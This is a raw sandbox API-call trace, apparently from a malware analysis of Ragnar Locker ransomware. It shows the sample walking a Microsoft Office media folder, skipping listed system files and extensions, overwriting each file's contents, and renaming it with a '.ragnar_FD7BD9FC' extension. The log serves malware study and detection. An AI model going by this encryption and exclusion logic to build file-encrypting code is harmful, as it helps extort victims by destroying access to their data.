1 [0095.901] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x20ce, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x20ce, lpOverlapped=0x0) returned 1 [0095.902] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.902] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x20ce, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.902] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x20ce, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x20ce, lpOverlapped=0x0) returned 1 [0095.902] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x20ce, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.902] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.902] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x20ce, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.902] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.902] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.902] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.903] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.903] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.903] GetProcessHeap () returned 0x580000 [0095.903] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.903] CloseHandle (hObject=0x104) returned 1 [0095.903] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292152.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292152.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292152.WMF" [0095.903] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292152.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292152.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292152.WMF.ragnar_FD7BD9FC" [0095.903] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292152.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292152.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292152.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292152.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.903] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48b60800, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x48b60800, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x998, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292982.WMF", cAlternateFileName="")) returned 1 [0095.904] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.904] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0292982.WMF" | out: lpString1="J0292982.WMF") returned="J0292982.WMF" [0095.904] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292982.WMF") returned=".WMF" [0095.904] lstrcmpiW (lpString1="J0292982.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.904] lstrcmpiW (lpString1="J0292982.WMF", lpString2="autorun.inf") returned 1 [0095.904] lstrcmpiW (lpString1="J0292982.WMF", lpString2="boot.ini") returned 1 [0095.904] lstrcmpiW (lpString1="J0292982.WMF", lpString2="bootfont.bin") returned 1 [0095.904] lstrcmpiW (lpString1="J0292982.WMF", lpString2="bootsect.bak") returned 1 [0095.904] lstrcmpiW (lpString1="J0292982.WMF", lpString2="bootmgr") returned 1 [0095.904] lstrcmpiW (lpString1="J0292982.WMF", lpString2="bootmgr.efi") returned 1 [0095.904] lstrcmpiW (lpString1="J0292982.WMF", lpString2="bootmgfw.efi") returned 1 [0095.904] lstrcmpiW (lpString1="J0292982.WMF", lpString2="desktop.ini") returned 1 [0095.904] lstrcmpiW (lpString1="J0292982.WMF", lpString2="iconcache.db") returned 1 [0095.904] lstrcmpiW (lpString1="J0292982.WMF", lpString2="ntldr") returned -1 [0095.904] lstrcmpiW (lpString1="J0292982.WMF", lpString2="ntuser.dat") returned -1 [0095.904] lstrcmpiW (lpString1="J0292982.WMF", lpString2="ntuser.dat.log") returned -1 [0095.904] lstrcmpiW (lpString1="J0292982.WMF", lpString2="ntuser.ini") returned -1 [0095.904] lstrcmpiW (lpString1="J0292982.WMF", lpString2="thumbs.db") returned -1 [0095.904] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.904] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.904] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.904] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.904] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.904] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.904] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292982.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292982.wmf")) returned 0x20 [0095.904] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292982.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292982.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.905] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2456) returned 1 [0095.905] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x98f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.905] GetProcessHeap () returned 0x580000 [0095.905] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.905] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.906] VirtualAlloc (lpAddress=0x0, dwSize=0x998, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.907] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.907] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.907] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x998, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x998, lpOverlapped=0x0) returned 1 [0095.907] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.907] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x998, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.907] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x998, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x998, lpOverlapped=0x0) returned 1 [0095.907] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x998, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.907] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.907] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x998, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.907] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.907] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.907] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.907] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.908] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.908] GetProcessHeap () returned 0x580000 [0095.908] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.908] CloseHandle (hObject=0x104) returned 1 [0095.908] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292982.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292982.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292982.WMF" [0095.908] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292982.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292982.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292982.WMF.ragnar_FD7BD9FC" [0095.908] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292982.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292982.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292982.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292982.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.908] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af72900, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9af72900, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x5ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293234.WMF", cAlternateFileName="")) returned 1 [0095.908] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.908] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0293234.WMF" | out: lpString1="J0293234.WMF") returned="J0293234.WMF" [0095.909] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293234.WMF") returned=".WMF" [0095.909] lstrcmpiW (lpString1="J0293234.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.909] lstrcmpiW (lpString1="J0293234.WMF", lpString2="autorun.inf") returned 1 [0095.909] lstrcmpiW (lpString1="J0293234.WMF", lpString2="boot.ini") returned 1 [0095.909] lstrcmpiW (lpString1="J0293234.WMF", lpString2="bootfont.bin") returned 1 [0095.909] lstrcmpiW (lpString1="J0293234.WMF", lpString2="bootsect.bak") returned 1 [0095.909] lstrcmpiW (lpString1="J0293234.WMF", lpString2="bootmgr") returned 1 [0095.909] lstrcmpiW (lpString1="J0293234.WMF", lpString2="bootmgr.efi") returned 1 [0095.909] lstrcmpiW (lpString1="J0293234.WMF", lpString2="bootmgfw.efi") returned 1 [0095.909] lstrcmpiW (lpString1="J0293234.WMF", lpString2="desktop.ini") returned 1 [0095.909] lstrcmpiW (lpString1="J0293234.WMF", lpString2="iconcache.db") returned 1 [0095.909] lstrcmpiW (lpString1="J0293234.WMF", lpString2="ntldr") returned -1 [0095.909] lstrcmpiW (lpString1="J0293234.WMF", lpString2="ntuser.dat") returned -1 [0095.909] lstrcmpiW (lpString1="J0293234.WMF", lpString2="ntuser.dat.log") returned -1 [0095.909] lstrcmpiW (lpString1="J0293234.WMF", lpString2="ntuser.ini") returned -1 [0095.909] lstrcmpiW (lpString1="J0293234.WMF", lpString2="thumbs.db") returned -1 [0095.909] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.909] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.909] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.909] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.909] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.909] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.909] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293234.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293234.wmf")) returned 0x20 [0095.909] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293234.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293234.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.910] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1466) returned 1 [0095.910] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x5b1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.910] GetProcessHeap () returned 0x580000 [0095.910] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.910] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.911] VirtualAlloc (lpAddress=0x0, dwSize=0x5ba, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.912] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.912] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.912] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5ba, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5ba, lpOverlapped=0x0) returned 1 [0095.912] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.912] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5ba, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.912] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5ba, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5ba, lpOverlapped=0x0) returned 1 [0095.912] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5ba, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.912] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.912] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x5ba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.912] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.912] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.912] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.912] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.913] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.913] GetProcessHeap () returned 0x580000 [0095.913] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.913] CloseHandle (hObject=0x104) returned 1 [0095.913] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293234.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293234.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293234.WMF" [0095.913] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293234.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293234.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293234.WMF.ragnar_FD7BD9FC" [0095.913] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293234.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293234.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293234.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293234.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.914] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af72900, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9af72900, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x766, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293236.WMF", cAlternateFileName="")) returned 1 [0095.914] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.914] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0293236.WMF" | out: lpString1="J0293236.WMF") returned="J0293236.WMF" [0095.914] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293236.WMF") returned=".WMF" [0095.914] lstrcmpiW (lpString1="J0293236.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.914] lstrcmpiW (lpString1="J0293236.WMF", lpString2="autorun.inf") returned 1 [0095.914] lstrcmpiW (lpString1="J0293236.WMF", lpString2="boot.ini") returned 1 [0095.914] lstrcmpiW (lpString1="J0293236.WMF", lpString2="bootfont.bin") returned 1 [0095.914] lstrcmpiW (lpString1="J0293236.WMF", lpString2="bootsect.bak") returned 1 [0095.914] lstrcmpiW (lpString1="J0293236.WMF", lpString2="bootmgr") returned 1 [0095.914] lstrcmpiW (lpString1="J0293236.WMF", lpString2="bootmgr.efi") returned 1 [0095.914] lstrcmpiW (lpString1="J0293236.WMF", lpString2="bootmgfw.efi") returned 1 [0095.914] lstrcmpiW (lpString1="J0293236.WMF", lpString2="desktop.ini") returned 1 [0095.914] lstrcmpiW (lpString1="J0293236.WMF", lpString2="iconcache.db") returned 1 [0095.914] lstrcmpiW (lpString1="J0293236.WMF", lpString2="ntldr") returned -1 [0095.914] lstrcmpiW (lpString1="J0293236.WMF", lpString2="ntuser.dat") returned -1 [0095.914] lstrcmpiW (lpString1="J0293236.WMF", lpString2="ntuser.dat.log") returned -1 [0095.914] lstrcmpiW (lpString1="J0293236.WMF", lpString2="ntuser.ini") returned -1 [0095.914] lstrcmpiW (lpString1="J0293236.WMF", lpString2="thumbs.db") returned -1 [0095.914] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.914] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.914] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.915] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.915] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.915] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.915] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.915] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293236.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293236.wmf")) returned 0x20 [0095.915] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293236.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293236.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.916] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1894) returned 1 [0095.916] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x75d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.916] GetProcessHeap () returned 0x580000 [0095.916] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.916] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.918] VirtualAlloc (lpAddress=0x0, dwSize=0x766, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.918] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.918] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.918] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x766, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x766, lpOverlapped=0x0) returned 1 [0095.918] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.918] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x766, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.918] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x766, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x766, lpOverlapped=0x0) returned 1 [0095.918] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x766, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.918] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 